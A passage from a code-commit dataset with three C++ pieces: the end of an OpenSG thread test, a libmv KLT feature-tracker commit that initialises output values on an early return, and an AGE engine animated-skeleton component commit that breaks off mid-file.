OSG::ThreadRefPtr pThread = OSG::Thread::get(NULL, false);
pThread->runFunction(runThread1, 0, NULL);
OSG::Thread::join(pThread);
pThread = NULL;
#endif
OSG::osgExit();
return 0;
}
#endif
#ifdef OSG_USE_WINTHREADS
OSG::Handle oThread;
void *runThread(void *)
{
fprintf(stderr, "run thread \n");
#if 1
fprintf(stderr, "%d ",
OSG::Thread::getCurrentAspect ());
fprintf(stderr, "th : T:%p ",
OSG::Thread::getCurrent ());
fprintf(stderr, "CL:%p ",
OSG::Thread::getCurrentChangeList ());
fprintf(stderr, "0x%016"PRIx64" ",
OSG::Thread::getCurrentNamespaceMask());
fprintf(stderr, "0x%016"PRIx64"\n",
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
#endif
fprintf(stderr, "exit thread\n");
return NULL;
}
void runThread1(void *)
{
fprintf(stderr, "run thread \n");
fprintf(stderr, "th : CL:%p T:%p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
fprintf(stderr, "th : CL:%p T:%p %d 0x%016"PRIx64" 0x%016"PRIx64"\n",
OSG::Thread::getCurrentChangeList (),
OSG::Thread::getCurrent (),
OSG::Thread::getCurrentAspect (),
OSG::Thread::getCurrentNamespaceMask(),
OSG::Thread::getCurrentLocalFlags ());
OSG::NodeUnrecPtr pNode1 = OSG::Node::create();
OSG::NodeUnrecPtr pNode2 = OSG::Node::create();
OSG::NodeUnrecPtr pNode3 = OSG::Node::create();
pNode1->addChild(pNode2);
pNode1->addChild(pNode3);
fprintf(stderr, "exit thread\n");
}
int main (int argc, char **argv)
{
OSG::osgInit(argc, argv);
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::Thread::setFallbackAspectId(42);
#endif
#ifdef OSG_ENABLE_AUTOINIT_THREADS
OSG::DWord tmp;
OSG::Handle rc = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE) runThread,
0,
0,
&tmp);
WaitForSingleObject(rc, INFINITE);
#endif
#if 1
OSG::ThreadRefPtr pThread = OSG::Thread::get(NULL, false);
pThread->runFunction(runThread1, 0, NULL);
OSG::Thread::join(pThread);
pThread = NULL;
#endif
OSG::osgExit();
return 0;
}
#endif
<|endoftext|>
|
<commit_before>// Copyright (c) 2007, 2008 libmv authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
#include <cassert>
#include <vector>
#include "libmv/numeric/numeric.h"
#include "libmv/correspondence/klt.h"
#include "libmv/image/image.h"
#include "libmv/image/image_io.h"
#include "libmv/image/convolve.h"
using std::vector;
namespace libmv {
void KltContext::DetectGoodFeatures(const FloatImage &image,
FeatureList *features) {
assert(image.Depth() == 1);
// TODO(keir): These should probably be passed in, because the image
// derivatives are needed by many other functions.
FloatImage gradient_x, gradient_y;
ImageDerivatives(image, 0.9, &gradient_x, &gradient_y);
WritePnm(gradient_x, "gradient_x.pgm");
WritePnm(gradient_y, "gradient_y.pgm");
FloatImage gxx, gxy, gyy;
ComputeGradientMatrix(gradient_x, gradient_y, &gxx, &gxy, &gyy);
FloatImage trackness;
double trackness_mean;
ComputeTrackness(gxx, gxy, gyy, &trackness, &trackness_mean);
min_trackness_ = trackness_mean;
WritePnm(trackness, "trackerness.pgm");
FindLocalMaxima(trackness, features);
RemoveTooCloseFeatures(features);
}
void KltContext::ComputeGradientMatrix(const FloatImage &gradient_x,
const FloatImage &gradient_y,
FloatImage *gxx,
FloatImage *gxy,
FloatImage *gyy ) {
FloatImage gradient_xx, gradient_xy, gradient_yy;
MultiplyElements(gradient_x, gradient_y, &gradient_xy);
MultiplyElements(gradient_x, gradient_x, &gradient_xx);
MultiplyElements(gradient_y, gradient_y, &gradient_yy);
WritePnm(gradient_xx, "gradient_xx.pgm");
WritePnm(gradient_xy, "gradient_xy.pgm");
WritePnm(gradient_yy, "gradient_yy.pgm");
// Sum the gradient matrix over tracking window for each pixel.
BoxFilter(gradient_xx, WindowSize(), gxx);
BoxFilter(gradient_xy, WindowSize(), gxy);
BoxFilter(gradient_yy, WindowSize(), gyy);
WritePnm(*gxx, "gxx.pgm");
WritePnm(*gxy, "gxy.pgm");
WritePnm(*gyy, "gyy.pgm");
}
void KltContext::ComputeTrackness(const FloatImage &gxx,
const FloatImage &gxy,
const FloatImage &gyy,
FloatImage *trackness_pointer,
double *trackness_mean) {
FloatImage &trackness = *trackness_pointer;
trackness.ResizeLike(gxx);
*trackness_mean = 0;
for (int i = 0; i < trackness.Height(); ++i) {
for (int j = 0; j < trackness.Width(); ++j) {
double t = MinEigenValue(gxx(i, j), gxy(i, j), gyy(i, j));
trackness(i,j) = t;
*trackness_mean += t;
}
}
*trackness_mean /= trackness.Size();
}
void KltContext::FindLocalMaxima(const FloatImage &trackness,
FeatureList *features) {
for (int i = 1; i < trackness.Height()-1; ++i) {
for (int j = 1; j < trackness.Width()-1; ++j) {
if ( trackness(i,j) >= min_trackness_
&& trackness(i,j) >= trackness(i-1, j-1)
&& trackness(i,j) >= trackness(i-1, j )
&& trackness(i,j) >= trackness(i-1, j+1)
&& trackness(i,j) >= trackness(i , j-1)
&& trackness(i,j) >= trackness(i , j+1)
&& trackness(i,j) >= trackness(i+1, j-1)
&& trackness(i,j) >= trackness(i+1, j )
&& trackness(i,j) >= trackness(i+1, j+1)) {
Feature p;
p.position(1) = i;
p.position(0) = j;
p.trackness = trackness(i,j);
features->push_back(p);
}
}
}
}
static double dist2(const Vec2 &x, const Vec2 &y) {
double a = x(0) - y(0);
double b = x(1) - y(1);
return a * a + b * b;
}
void KltContext::RemoveTooCloseFeatures(FeatureList *features) {
double treshold = min_feature_dist_ * min_feature_dist_;
FeatureList::iterator i = features->begin();
while (i != features->end()) {
bool i_deleted = false;
FeatureList::iterator j = i;
++j;
while (j != features->end() && !i_deleted) {
if (dist2(i->position, j->position) < treshold) {
FeatureList::iterator to_delete;
if (i->trackness < j->trackness) {
to_delete = i;
++i;
i_deleted = true;
} else {
to_delete = j;
++j;
}
features->erase(to_delete);
} else {
++j;
}
}
if (!i_deleted) {
++i;
}
}
}
void KltContext::TrackFeature(const ImagePyramid &pyramid1,
const Feature &feature1,
const ImagePyramid &pyramid2,
const ImagePyramid &pyramid2_gx,
const ImagePyramid &pyramid2_gy,
Feature *feature2_pointer) {
feature2_pointer->position = feature1.position;
for (int i = pyramid1.NumLevels(); i >= 0; --i) {
TrackFeatureOneLevel(pyramid1.Level(i), feature1,
pyramid2.Level(i),
pyramid2_gx.Level(i),
pyramid2_gy.Level(i),
feature2_pointer);
}
}
void KltContext::TrackFeatureOneLevel(const FloatImage &image1,
const Feature &feature1,
const FloatImage &image2,
const FloatImage &image2_gx,
const FloatImage &image2_gy,
Feature *feature2_pointer) {
Feature &feature2 = *feature2_pointer;
const int max_iteration_ = 10;
for (int i = 0; i < max_iteration_; ++i) {
// Compute gradient matrix and error vector.
float gxx, gxy, gyy, ex, ey;
ComputeTrackingEquation(image1, image2, image2_gx, image2_gy,
feature1.position, feature2.position,
&gxx, &gxy, &gyy, &ex, &ey);
// Solve the linear system for deltad.
float dx, dy;
SolveTrackingEquation(gxx, gxy, gyy, ex, ey, 1e-6, &dx, &dy);
// Update feature2 position.
feature2.position(0) += dx;
feature2.position(1) += dy;
}
}
void KltContext::ComputeTrackingEquation(const FloatImage &image1,
const FloatImage &image2,
const FloatImage &image2_gx,
const FloatImage &image2_gy,
const Vec2 &position1,
const Vec2 &position2,
float *gxx,
float *gxy,
float *gyy,
float *ex,
float *ey) {
int half_width = HalfWindowSize();
*gxx = 0;
*gxy = 0;
*gyy = 0;
*ex = 0;
*ey = 0;
for (int i = -half_width; i <= half_width; ++i) {
for (int j = -half_width; j <= half_width; ++j) {
float x1 = position1(0) + j;
float y1 = position1(1) + i;
float x2 = position2(0) + j;
float y2 = position2(1) + i;
// TODO(pau): should do boundary checking outside this loop, and call here
// a sampler that does not boundary checking.
float I = SampleLinear(image1, y1, x1);
float J = SampleLinear(image2, y2, x2);
float gx = SampleLinear(image2_gx, y2, x2);
float gy = SampleLinear(image2_gy, y2, x2);
*gxx += gx * gx;
*gxy += gx * gy;
*gyy += gy * gy;
*ex += (I - J) * gx;
*ey += (I - J) * gy;
}
}
}
bool KltContext::SolveTrackingEquation(float gxx, float gxy, float gyy,
float ex, float ey,
float small_determinant_threshold,
float *dx, float *dy) {
float det = gxx * gyy - gxy * gxy;
if (det < small_determinant_threshold) {
return false;
}
*dx = (gyy * ex - gxy * ey) / det;
*dy = (gxx * ey - gxy * ex) / det;
return true;
}
void KltContext::DrawFeatureList(const FeatureList &features,
const Vec3 &color,
FloatImage *image) {
for (FeatureList::const_iterator i = features.begin();
i != features.end(); ++i) {
DrawFeature(*i, color, image);
}
}
void KltContext::DrawFeature(const Feature &feature,
const Vec3 &color,
FloatImage *image) {
assert(image->Depth() == 3);
const int cross_width = 5;
int x = lround(feature.position(0));
int y = lround(feature.position(1));
if (!image->Contains(y,x)) {
return;
}
// Draw vertical line.
for (int i = max(0, y - cross_width);
i < min(image->Height(), y + cross_width + 1); ++i) {
for (int k = 0; k < 3; ++k) {
(*image)(i, x, k) = color(k);
}
}
// Draw horizontal line.
for (int j = max(0, x - cross_width);
j < min(image->Width(), x + cross_width + 1); ++j) {
for (int k = 0; k < 3; ++k) {
(*image)(y, j, k) = color(k);
}
}
}
} // namespace libmv
<commit_msg>Fixed a possible uninitialized variable.<commit_after>// Copyright (c) 2007, 2008 libmv authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
#include <cassert>
#include <vector>
#include "libmv/numeric/numeric.h"
#include "libmv/correspondence/klt.h"
#include "libmv/image/image.h"
#include "libmv/image/image_io.h"
#include "libmv/image/convolve.h"
using std::vector;
namespace libmv {
void KltContext::DetectGoodFeatures(const FloatImage &image,
FeatureList *features) {
assert(image.Depth() == 1);
// TODO(keir): These should probably be passed in, because the image
// derivatives are needed by many other functions.
FloatImage gradient_x, gradient_y;
ImageDerivatives(image, 0.9, &gradient_x, &gradient_y);
WritePnm(gradient_x, "gradient_x.pgm");
WritePnm(gradient_y, "gradient_y.pgm");
FloatImage gxx, gxy, gyy;
ComputeGradientMatrix(gradient_x, gradient_y, &gxx, &gxy, &gyy);
FloatImage trackness;
double trackness_mean;
ComputeTrackness(gxx, gxy, gyy, &trackness, &trackness_mean);
min_trackness_ = trackness_mean;
WritePnm(trackness, "trackerness.pgm");
FindLocalMaxima(trackness, features);
RemoveTooCloseFeatures(features);
}
void KltContext::ComputeGradientMatrix(const FloatImage &gradient_x,
const FloatImage &gradient_y,
FloatImage *gxx,
FloatImage *gxy,
FloatImage *gyy ) {
FloatImage gradient_xx, gradient_xy, gradient_yy;
MultiplyElements(gradient_x, gradient_y, &gradient_xy);
MultiplyElements(gradient_x, gradient_x, &gradient_xx);
MultiplyElements(gradient_y, gradient_y, &gradient_yy);
WritePnm(gradient_xx, "gradient_xx.pgm");
WritePnm(gradient_xy, "gradient_xy.pgm");
WritePnm(gradient_yy, "gradient_yy.pgm");
// Sum the gradient matrix over tracking window for each pixel.
BoxFilter(gradient_xx, WindowSize(), gxx);
BoxFilter(gradient_xy, WindowSize(), gxy);
BoxFilter(gradient_yy, WindowSize(), gyy);
WritePnm(*gxx, "gxx.pgm");
WritePnm(*gxy, "gxy.pgm");
WritePnm(*gyy, "gyy.pgm");
}
void KltContext::ComputeTrackness(const FloatImage &gxx,
const FloatImage &gxy,
const FloatImage &gyy,
FloatImage *trackness_pointer,
double *trackness_mean) {
FloatImage &trackness = *trackness_pointer;
trackness.ResizeLike(gxx);
*trackness_mean = 0;
for (int i = 0; i < trackness.Height(); ++i) {
for (int j = 0; j < trackness.Width(); ++j) {
double t = MinEigenValue(gxx(i, j), gxy(i, j), gyy(i, j));
trackness(i,j) = t;
*trackness_mean += t;
}
}
*trackness_mean /= trackness.Size();
}
void KltContext::FindLocalMaxima(const FloatImage &trackness,
FeatureList *features) {
for (int i = 1; i < trackness.Height()-1; ++i) {
for (int j = 1; j < trackness.Width()-1; ++j) {
if ( trackness(i,j) >= min_trackness_
&& trackness(i,j) >= trackness(i-1, j-1)
&& trackness(i,j) >= trackness(i-1, j )
&& trackness(i,j) >= trackness(i-1, j+1)
&& trackness(i,j) >= trackness(i , j-1)
&& trackness(i,j) >= trackness(i , j+1)
&& trackness(i,j) >= trackness(i+1, j-1)
&& trackness(i,j) >= trackness(i+1, j )
&& trackness(i,j) >= trackness(i+1, j+1)) {
Feature p;
p.position(1) = i;
p.position(0) = j;
p.trackness = trackness(i,j);
features->push_back(p);
}
}
}
}
static double dist2(const Vec2 &x, const Vec2 &y) {
double a = x(0) - y(0);
double b = x(1) - y(1);
return a * a + b * b;
}
void KltContext::RemoveTooCloseFeatures(FeatureList *features) {
double treshold = min_feature_dist_ * min_feature_dist_;
FeatureList::iterator i = features->begin();
while (i != features->end()) {
bool i_deleted = false;
FeatureList::iterator j = i;
++j;
while (j != features->end() && !i_deleted) {
if (dist2(i->position, j->position) < treshold) {
FeatureList::iterator to_delete;
if (i->trackness < j->trackness) {
to_delete = i;
++i;
i_deleted = true;
} else {
to_delete = j;
++j;
}
features->erase(to_delete);
} else {
++j;
}
}
if (!i_deleted) {
++i;
}
}
}
void KltContext::TrackFeature(const ImagePyramid &pyramid1,
const Feature &feature1,
const ImagePyramid &pyramid2,
const ImagePyramid &pyramid2_gx,
const ImagePyramid &pyramid2_gy,
Feature *feature2_pointer) {
feature2_pointer->position = feature1.position;
for (int i = pyramid1.NumLevels(); i >= 0; --i) {
TrackFeatureOneLevel(pyramid1.Level(i), feature1,
pyramid2.Level(i),
pyramid2_gx.Level(i),
pyramid2_gy.Level(i),
feature2_pointer);
}
}
void KltContext::TrackFeatureOneLevel(const FloatImage &image1,
const Feature &feature1,
const FloatImage &image2,
const FloatImage &image2_gx,
const FloatImage &image2_gy,
Feature *feature2_pointer) {
Feature &feature2 = *feature2_pointer;
const int max_iteration_ = 10;
for (int i = 0; i < max_iteration_; ++i) {
// Compute gradient matrix and error vector.
float gxx, gxy, gyy, ex, ey;
ComputeTrackingEquation(image1, image2, image2_gx, image2_gy,
feature1.position, feature2.position,
&gxx, &gxy, &gyy, &ex, &ey);
// Solve the linear system for deltad.
float dx, dy;
SolveTrackingEquation(gxx, gxy, gyy, ex, ey, 1e-6, &dx, &dy);
// Update feature2 position.
feature2.position(0) += dx;
feature2.position(1) += dy;
}
}
void KltContext::ComputeTrackingEquation(const FloatImage &image1,
const FloatImage &image2,
const FloatImage &image2_gx,
const FloatImage &image2_gy,
const Vec2 &position1,
const Vec2 &position2,
float *gxx,
float *gxy,
float *gyy,
float *ex,
float *ey) {
int half_width = HalfWindowSize();
*gxx = 0;
*gxy = 0;
*gyy = 0;
*ex = 0;
*ey = 0;
for (int i = -half_width; i <= half_width; ++i) {
for (int j = -half_width; j <= half_width; ++j) {
float x1 = position1(0) + j;
float y1 = position1(1) + i;
float x2 = position2(0) + j;
float y2 = position2(1) + i;
// TODO(pau): should do boundary checking outside this loop, and call here
// a sampler that does not boundary checking.
float I = SampleLinear(image1, y1, x1);
float J = SampleLinear(image2, y2, x2);
float gx = SampleLinear(image2_gx, y2, x2);
float gy = SampleLinear(image2_gy, y2, x2);
*gxx += gx * gx;
*gxy += gx * gy;
*gyy += gy * gy;
*ex += (I - J) * gx;
*ey += (I - J) * gy;
}
}
}
bool KltContext::SolveTrackingEquation(float gxx, float gxy, float gyy,
float ex, float ey,
float small_determinant_threshold,
float *dx, float *dy) {
float det = gxx * gyy - gxy * gxy;
if (det < small_determinant_threshold) {
*dx = 0;
*dy = 0;
return false;
}
*dx = (gyy * ex - gxy * ey) / det;
*dy = (gxx * ey - gxy * ex) / det;
return true;
}
void KltContext::DrawFeatureList(const FeatureList &features,
const Vec3 &color,
FloatImage *image) {
for (FeatureList::const_iterator i = features.begin();
i != features.end(); ++i) {
DrawFeature(*i, color, image);
}
}
void KltContext::DrawFeature(const Feature &feature,
const Vec3 &color,
FloatImage *image) {
assert(image->Depth() == 3);
const int cross_width = 5;
int x = lround(feature.position(0));
int y = lround(feature.position(1));
if (!image->Contains(y,x)) {
return;
}
// Draw vertical line.
for (int i = max(0, y - cross_width);
i < min(image->Height(), y + cross_width + 1); ++i) {
for (int k = 0; k < 3; ++k) {
(*image)(i, x, k) = color(k);
}
}
// Draw horizontal line.
for (int j = max(0, x - cross_width);
j < min(image->Width(), x + cross_width + 1); ++j) {
for (int k = 0; k < 3; ++k) {
(*image)(y, j, k) = color(k);
}
}
}
} // namespace libmv
<|endoftext|>
|
<commit_before>#include "AnimatedSklComponent.hpp"
#include "Skeleton.hpp"
#include "AnimationManager.hpp"
#include "assetmanagement/assetmanager.hh"
#include "Entity/Entity.hh"
#include "Entity/EntityData.hh"
#include "Core/AScene.hh"
namespace AGE
{
AnimatedSklComponent::AnimatedSklComponent()
: _skeletonAsset(nullptr)
{}
AnimatedSklComponent::~AnimatedSklComponent(void)
{}
void AnimatedSklComponent::_copyFrom(const ComponentBase *model)
{
#ifdef EDITOR_ENABLED
editorCopyFrom((AnimatedSklComponent*)(model));
#endif
}
void AnimatedSklComponent::init(const std::string &skeletonPath /*= ""*/, std::shared_ptr<Skeleton> skeletonAsset /*= nullptr*/)
{
if (skeletonAsset != nullptr)
_skeletonAsset = skeletonAsset;
else if (skeletonPath.empty() == false)
_loadAndSetSkeleton(skeletonPath);
_animIsShared = false;
_timeMultiplier = 10.0f;
#ifdef EDITOR_ENABLED
editorCreate();
#endif
}
void AnimatedSklComponent::reset()
{
if (_animationInstance != nullptr)
{
auto animationManager = entity->getScene()->getInstance<AnimationManager>();
AGE_ASSERT(animationManager != nullptr);
animationManager->deleteAnimationInstance(_animationInstance);
}
_skeletonAsset = nullptr;
_animationAsset = nullptr;
_skeletonFilePath.clear();
_animationFilePath.clear();
_animationInstance = nullptr;
_animIsShared = false;
#ifdef EDITOR_ENABLED
editorDelete();
#endif
}
void AnimatedSklComponent::postUnserialization()
{
if (_skeletonFilePath.empty() == false)
_loadAndSetSkeleton(_skeletonFilePath);
if (_animationFilePath.empty() == false)
_loadAndSetAnimation(_animationFilePath);
}
void AnimatedSklComponent::setAnimation(const std::string &animationPath, bool isShared /*= false*/)
{
_animIsShared = isShared;
if (animationPath.empty() == false)
{
_loadAndSetAnimation(animationPath);
}
}
void AnimatedSklComponent::setAnimation(std::shared_ptr<AnimationData> animationAssetPtr, bool isShared /*= false*/)
{
_animIsShared = isShared;
AGE_ASSERT(animationAssetPtr != nullptr);
_animationAsset = animationAssetPtr;
_setAnimation();
}
void AnimatedSklComponent::_loadAndSetSkeleton(const std::string &skeletonPath)
{
AGE_ASSERT(skeletonPath.empty() == false);
_skeletonFilePath = skeletonPath;
auto assetsManager = entity->getScene()->getInstance<AssetsManager>();
AGE_ASSERT(assetsManager != nullptr);
_skeletonAsset = assetsManager->getSkeleton(skeletonPath);
if (_skeletonAsset == nullptr)
{
assetsManager->pushNewCallback(skeletonPath, entity->getScene(),
std::function<void()>([=](){
this->_skeletonAsset = assetsManager->getSkeleton(skeletonPath);
this->_setAnimation();
}));
assetsManager->loadSkeleton(skeletonPath, skeletonPath);
}
}
void AnimatedSklComponent::_loadAndSetAnimation(const std::string &animationPath)
{
AGE_ASSERT(animationPath.empty() == false);
_animationFilePath = animationPath;
auto assetsManager = entity->getScene()->getInstance<AssetsManager>();
AGE_ASSERT(assetsManager != nullptr);
_animationAsset = assetsManager->getAnimation(animationPath);
if (_animationAsset == nullptr)
{
assetsManager->pushNewCallback(animationPath, entity->getScene(),
std::function<void()>([=](){
this->_animationAsset = assetsManager->getAnimation(animationPath);
this->_setAnimation();
}));
assetsManager->loadAnimation(animationPath, animationPath);
}
else
{
_setAnimation();
}
}
void AnimatedSklComponent::_setAnimation()
{
if (_skeletonAsset == nullptr || _animationAsset == nullptr)
{
return;
}
auto animationManager = entity->getScene()->getInstance<AnimationManager>();
AGE_ASSERT(animationManager != nullptr);
if (_animationInstance != nullptr)
{
animationManager->deleteAnimationInstance(_animationInstance);
}
_animationInstance = animationManager->createAnimationInstance(_skeletonAsset, _animationAsset, _animIsShared);
_animationInstance->_timeMultiplier = _timeMultiplier;
}
}
// EDITOR
#ifdef EDITOR_ENABLED
#include <ImGui/ImGui.h>
#include <FileUtils/FileSystemHelpers.hpp>
#include <FileUtils/AssetFiles/CookedFileFilter.hpp>
#include <FileUtils/AssetFiles/Folder.hpp>
#include <FileUtils/AssetFiles/CookedFile.hpp>
#include "../Editor/EditorConfiguration.hpp"
namespace AGE
{
std::string selectAnimation(const std::string &assetsDirectory)
{
static bool folderInitialized = false;
static FileUtils::Folder meshFolder = FileUtils::Folder();
bool hasChanged = false;
if (folderInitialized == false)
{
FileUtils::CookedFileFilter filter;
meshFolder.list(&filter, assetsDirectory);
folderInitialized = true;
}
std::list<std::string> fbxInFolder;
fbxInFolder.clear();
meshFolder.update(
std::function<bool(FileUtils::Folder*)>([&](FileUtils::Folder* folder) {
return true;
}),
std::function<bool(FileUtils::Folder*)>([](FileUtils::Folder* folder) {
return true;
}),
std::function<void(FileUtils::CookedFile*)>([&](FileUtils::CookedFile* file) {
auto extension = FileUtils::GetExtension(file->getFileName());
// Name of the file without extension and without _static or _dynamic
std::string phageName;
if (extension == "aage")
{
phageName = file->getPath();
auto find = phageName.find(assetsDirectory);
if (find != std::string::npos)
{
phageName.erase(find, find + assetsDirectory.size());
}
fbxInFolder.push_back(phageName);
}
}));
std::string res = "";
bool clicked = false;
if (ImGui::BeginPopupModal("Select Animation", NULL, ImGuiWindowFlags_AlwaysAutoResize))
{
static ImGuiTextFilter filter;
filter.Draw();
for (auto &e : fbxInFolder)
{
if (filter.PassFilter(e.c_str()))
{
if (ImGui::SmallButton(e.c_str()))
{
res = e;
clicked = true;
ImGui::CloseCurrentPopup();
}
}
}
if (ImGui::Button("Cancel", ImVec2(120, 0))) { res = "NULL"; ImGui::CloseCurrentPopup(); }
ImGui::EndPopup();
}
return res;
}
std::string selectSkeleton(const std::string &assetsDirectory)
{
static bool folderInitialized = false;
static FileUtils::Folder meshFolder = FileUtils::Folder();
bool hasChanged = false;
if (folderInitialized == false)
{
FileUtils::CookedFileFilter filter;
meshFolder.list(&filter, assetsDirectory);
folderInitialized = true;
}
std::list<std::string> fbxInFolder;
fbxInFolder.clear();
meshFolder.update(
std::function<bool(FileUtils::Folder*)>([&](FileUtils::Folder* folder) {
return true;
}),
std::function<bool(FileUtils::Folder*)>([](FileUtils::Folder* folder) {
return true;
}),
std::function<void(FileUtils::CookedFile*)>([&](FileUtils::CookedFile* file) {
auto extension = FileUtils::GetExtension(file->getFileName());
// Name of the file without extension and without _static or _dynamic
std::string phageName;
if (extension == "skage")
{
phageName = file->getPath();
auto find = phageName.find(assetsDirectory);
if (find != std::string::npos)
{
phageName.erase(find, find + assetsDirectory.size());
}
fbxInFolder.push_back(phageName);
}
}));
std::string res = "";
bool clicked = false;
if (ImGui::BeginPopupModal("Select Skeleton", NULL, ImGuiWindowFlags_AlwaysAutoResize))
{
static ImGuiTextFilter filter;
filter.Draw();
for (auto &e : fbxInFolder)
{
if (filter.PassFilter(e.c_str()))
{
if (ImGui::SmallButton(e.c_str()))
{
res = e;
clicked = true;
ImGui::CloseCurrentPopup();
}
}
}
if (ImGui::Button("Cancel", ImVec2(120, 0))) { res = "NULL"; ImGui::CloseCurrentPopup(); }
ImGui::EndPopup();
}
return res;
}
std::shared_ptr<AnimatedSklComponent::Config> AnimatedSklComponent::getSharedConfig()
{
if (_config->isShared == true)
{
for (auto it = std::begin(getSharedConfigList()); it != std::end(getSharedConfigList()); ++it)
{
if ((*it)->skeletonFilePath == _config->skeletonFilePath
&& (*it)->animationFilePath == _config->animationFilePath)
{
return *it;
}
}
}
return nullptr;
}
void AnimatedSklComponent::cleanConfigPtr()
{
Config *ptr = _config.get();
_config = nullptr;
if (ptr->isShared == true)
{
for (auto it = std::begin(getSharedConfigList()); it != std::end(getSharedConfigList()); ++it)
{
if ((*it).get() == ptr)
{
if ((*it).use_count() == 1)
{
getSharedConfigList().erase(it);
}
break;
}
}
}
}
void AnimatedSklComponent::editorCopyFrom(AnimatedSklComponent *o)
{
_config = o->_config;
}
void AnimatedSklComponent::editorCreate()
{
if (!_config)
_config = std::make_shared<Config>();
}
void AnimatedSklComponent::editorDelete()
{
if (_config)
return;
}
bool AnimatedSklComponent::editorUpdate()
{
bool modified = false;
static std::string *selectedSkeleton = nullptr;
static std::string *selectedAnimation = nullptr;
if (selectedSkeleton != nullptr)
{
*selectedSkeleton = selectSkeleton(entity->getScene()->getInstance<AGE::AssetsManager>()->getAssetsDirectory());
if (*selectedSkeleton == "NULL")
{
*selectedSkeleton = "";
selectedSkeleton = nullptr;
}
else if (selectedSkeleton->empty() == false)
{
selectedSkeleton = nullptr;
}
return true;
}
if (selectedAnimation != nullptr)
{
*selectedAnimation = selectAnimation(entity->getScene()->getInstance<AGE::AssetsManager>()->getAssetsDirectory());
if (*selectedAnimation == "NULL")
{
*selectedAnimation = "";
selectedAnimation = nullptr;
}
else if (selectedAnimation->empty() == false)
{
selectedAnimation = nullptr;
}
return true;
}
/////////////////////////////////
if (_config->skeletonFilePath.empty())
{
if (ImGui::Button("Select skeleton"))
{
ImGui::OpenPopup("Select Skeleton");
selectedSkeleton= &_config->skeletonFilePath;
}
}
else
{
ImGui::Text(_config->skeletonFilePath.c_str());
ImGui::SameLine();
if (ImGui::Button("Edit skeleton"))
{
ImGui::OpenPopup("Select Skeleton");
selectedSkeleton = &_config->skeletonFilePath;
}
}
if (_config->animationFilePath.empty())
{
if (ImGui::Button("Select animation"))
{
ImGui::OpenPopup("Select Animation");
selectedAnimation = &_config->animationFilePath;
}
}
else
{
ImGui::Text(_config->animationFilePath.c_str());
ImGui::SameLine();
if (ImGui::Button("Edit animation"))
{
ImGui::OpenPopup("Select Animation");
selectedAnimation = &_config->animationFilePath;
}
}
modified |= ImGui::InputFloat("Speed", &_config->timeMultiplier);
if (ImGui::Checkbox("Is shared", &_config->isShared))
{
modified = true;
if (_config->isShared)
{
auto ptr = getSharedConfig();
if (ptr == nullptr)
{
getSharedConfigList().push_back(_config);
}
else
{
_config = ptr;
}
}
else
{
_config->isShared = true;
auto ptr = std::make_shared<Config>(*_config.get());
ptr->isShared = false;
cleanConfigPtr();
_config = ptr;
}
}
return modified;
}
}
#endif
<commit_msg>Animated cpt copy fixed<commit_after>#include "AnimatedSklComponent.hpp"
#include "Skeleton.hpp"
#include "AnimationManager.hpp"
#include "assetmanagement/assetmanager.hh"
#include "Entity/Entity.hh"
#include "Entity/EntityData.hh"
#include "Core/AScene.hh"
namespace AGE
{
AnimatedSklComponent::AnimatedSklComponent()
: _skeletonAsset(nullptr)
{}
AnimatedSklComponent::~AnimatedSklComponent(void)
{}
void AnimatedSklComponent::_copyFrom(const ComponentBase *model)
{
#ifdef EDITOR_ENABLED
editorCopyFrom((AnimatedSklComponent*)(model));
#endif
}
void AnimatedSklComponent::init(const std::string &skeletonPath /*= ""*/, std::shared_ptr<Skeleton> skeletonAsset /*= nullptr*/)
{
if (skeletonAsset != nullptr)
_skeletonAsset = skeletonAsset;
else if (skeletonPath.empty() == false)
_loadAndSetSkeleton(skeletonPath);
_animIsShared = false;
_timeMultiplier = 10.0f;
#ifdef EDITOR_ENABLED
editorCreate();
#endif
}
void AnimatedSklComponent::reset()
{
if (_animationInstance != nullptr)
{
auto animationManager = entity->getScene()->getInstance<AnimationManager>();
AGE_ASSERT(animationManager != nullptr);
